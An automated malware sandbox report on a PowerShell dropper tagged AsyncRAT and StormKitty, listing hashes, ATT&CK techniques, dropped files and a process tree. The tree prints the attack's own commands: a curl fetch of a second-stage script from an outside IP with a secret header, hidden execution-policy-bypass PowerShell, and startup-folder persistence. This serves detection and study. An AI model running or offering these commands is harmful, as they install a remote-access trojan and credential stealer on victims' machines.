asyncrat | 569775b523c853aa351d5832df2fdbb68fdaa8c05f9cc67289921f00a66c0157

General

Target

569775b523c853aa351d5832df2fdbb68fdaa8c05f9cc67289921f00a66c0157.ps1
Size

1KB
MD5

22bae550672a11587c37ebb8dabeefef
SHA1

5c7951317700fd35bbfd39499473889c752f9164
SHA256

569775b523c853aa351d5832df2fdbb68fdaa8c05f9cc67289921f00a66c0157
SHA512

03f9028156f1ba8f4ee62537ddba10c7f7d5ab0cee8cac17c1ae43c0c57922ed8a70d03b780142708afcae9b4eb46bb9b275e8b746061620681a57a27674e92a

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/216-49-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	3300	powershell.exe
13	3656	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3300	powershell.exe
3656	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3656 set thread context of 216	3656	powershell.exe	89

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3300	powershell.exe
3656	powershell.exe
3656	powershell.exe
216	RegAsm.exe
216	RegAsm.exe
216	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	216	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
216	RegAsm.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3300 wrote to memory of 3188	3300	powershell.exe	83
PID 3300 wrote to memory of 3188	3300	powershell.exe	83
PID 3188 wrote to memory of 4360	3188	cmd.exe	84
PID 3188 wrote to memory of 4360	3188	cmd.exe	84
PID 3188 wrote to memory of 3656	3188	cmd.exe	85
PID 3188 wrote to memory of 3656	3188	cmd.exe	85
PID 4360 wrote to memory of 1176	4360	cmd.exe	86
PID 4360 wrote to memory of 1176	4360	cmd.exe	86
PID 3656 wrote to memory of 1044	3656	powershell.exe	87
PID 3656 wrote to memory of 1044	3656	powershell.exe	87
PID 1044 wrote to memory of 4956	1044	csc.exe	88
PID 1044 wrote to memory of 4956	1044	csc.exe	88
PID 3656 wrote to memory of 216	3656	powershell.exe	89
PID 3656 wrote to memory of 216	3656	powershell.exe	89
PID 3656 wrote to memory of 216	3656	powershell.exe	89
PID 3656 wrote to memory of 216	3656	powershell.exe	89
PID 3656 wrote to memory of 216	3656	powershell.exe	89
PID 3656 wrote to memory of 216	3656	powershell.exe	89
PID 3656 wrote to memory of 216	3656	powershell.exe	89
PID 3656 wrote to memory of 216	3656	powershell.exe	89

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\569775b523c853aa351d5832df2fdbb68fdaa8c05f9cc67289921f00a66c0157.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
      4⤵
      PID:1176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bbaxqdyc\bbaxqdyc.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1044
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES95B8.tmp" "c:\Users\Admin\AppData\Local\Temp\bbaxqdyc\CSCB3CA7D5848754718B326F357A3684B0.TMP"
        5⤵
        
        PID:4956
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES95B8.tmp

Filesize
1KB

MD5
343b4c7aa9fd593fd6a465039e704055

SHA1
94902f4d14edfcf875f49d281e8dc0f26b9f7654

SHA256
dc99dc7a607a5d4d4873ce409a9930d6dfb2cd8a644b7b497cd895621a183384

SHA512
9b71b5360c0da9e714eb9617593b06796c623a2126757d3f8c19116c1d53572bfca321d9fabdd7a8c812aaaf69daad0fee5d3908061e2b1ac236aad53e9c380c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yyktmdnm.hnw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bbaxqdyc\bbaxqdyc.dll

Filesize
9KB

MD5
2b0e458163bc4900aa9522de48bfda08

SHA1
e0593d4c94f081ccc7d967ee267e12a681a74319

SHA256
e19bbdb22fb1f9390cd533bea084eee07098641cfd865a26e8c57481ab5872b6

SHA512
acdcffba696a41f6a9c386352e0bdcf95aad9119a7c1072ebb49ef82a6eca6d100ec9cfcf58f44b848232a8d5f593077a38cb63828bb9251d4f25dca9506afe3

Download Submit
C:\Windows\Temp\Modules.bat

Filesize
3KB

MD5
bb445d197063475c8d78de4f0825753c

SHA1
158a8e3b278affe7c1185aad67683e4253cf53dd

SHA256
7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

SHA512
173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bbaxqdyc\CSCB3CA7D5848754718B326F357A3684B0.TMP

Filesize
652B

MD5
2002455eb8c932022ef9b8294dc88d4e

SHA1
dd2d4324fffb52609928c9310f950b1781948573

SHA256
a710bdf2063a1a82e313c59ee1d89824e3477109458a9d277816a543956f1644

SHA512
0078dedc6dc4d8cb4bfe82113b40f06e94fd817705f555295da0b1aea5d6a08e44633ab293e7d104468e8e61ee39df80b3752ceb2326ee51fff02ac2039a544d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bbaxqdyc\bbaxqdyc.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bbaxqdyc\bbaxqdyc.cmdline

Filesize
204B

MD5
2229e897bdfac0ae4510cfb55534d8fe

SHA1
d2fc6495643154952116b979be277092f839e52e

SHA256
9134d5bb9f8332a6fa0251aa248e6b9b74a0025f0eb6787c81c3ef5440dfb06f

SHA512
9778c057cf867059d2061cf0b6e2b93bf854fd3f641e879646fb4fbb0bb8cdb4f06e8bc8a8122cd742152257cf63893e357a592592a6e9ae14d560a2ebbd9dba

Download Submit
memory/216-57-0x0000000006D70000-0x0000000006E0C000-memory.dmp

Filesize
624KB

Download
memory/216-59-0x00000000071B0000-0x00000000071D2000-memory.dmp

Filesize
136KB

Download
memory/216-58-0x0000000006E10000-0x0000000006E76000-memory.dmp

Filesize
408KB

Download
memory/216-54-0x00000000059D0000-0x00000000059DA000-memory.dmp

Filesize
40KB

Download
memory/216-60-0x00000000071E0000-0x0000000007534000-memory.dmp

Filesize
3.3MB

Download
memory/216-52-0x0000000005DE0000-0x0000000006384000-memory.dmp

Filesize
5.6MB

Download
memory/216-53-0x0000000005D20000-0x0000000005DB2000-memory.dmp

Filesize
584KB

Download
memory/216-49-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/3300-19-0x00007FFB69680000-0x00007FFB6A141000-memory.dmp

Filesize
10.8MB

Download
memory/3300-0-0x00007FFB69683000-0x00007FFB69685000-memory.dmp

Filesize
8KB

Download
memory/3300-12-0x00007FFB69680000-0x00007FFB6A141000-memory.dmp

Filesize
10.8MB

Download
memory/3300-11-0x00007FFB69680000-0x00007FFB6A141000-memory.dmp

Filesize
10.8MB

Download
memory/3300-6-0x0000018EE9F60000-0x0000018EE9F82000-memory.dmp

Filesize
136KB

Download
memory/3656-34-0x00000200AA830000-0x00000200AA840000-memory.dmp

Filesize
64KB

Download
memory/3656-51-0x00007FFB69680000-0x00007FFB6A141000-memory.dmp

Filesize
10.8MB

Download
memory/3656-47-0x00000200AA840000-0x00000200AA848000-memory.dmp

Filesize
32KB

Download
memory/3656-33-0x00000200AB790000-0x00000200AB806000-memory.dmp

Filesize
472KB

Download
memory/3656-32-0x00000200AB6C0000-0x00000200AB704000-memory.dmp

Filesize
272KB

Download
memory/3656-31-0x00007FFB69680000-0x00007FFB6A141000-memory.dmp

Filesize
10.8MB

Download
memory/3656-26-0x00007FFB69680000-0x00007FFB6A141000-memory.dmp

Filesize
10.8MB

Download
memory/3656-20-0x00007FFB69680000-0x00007FFB6A141000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing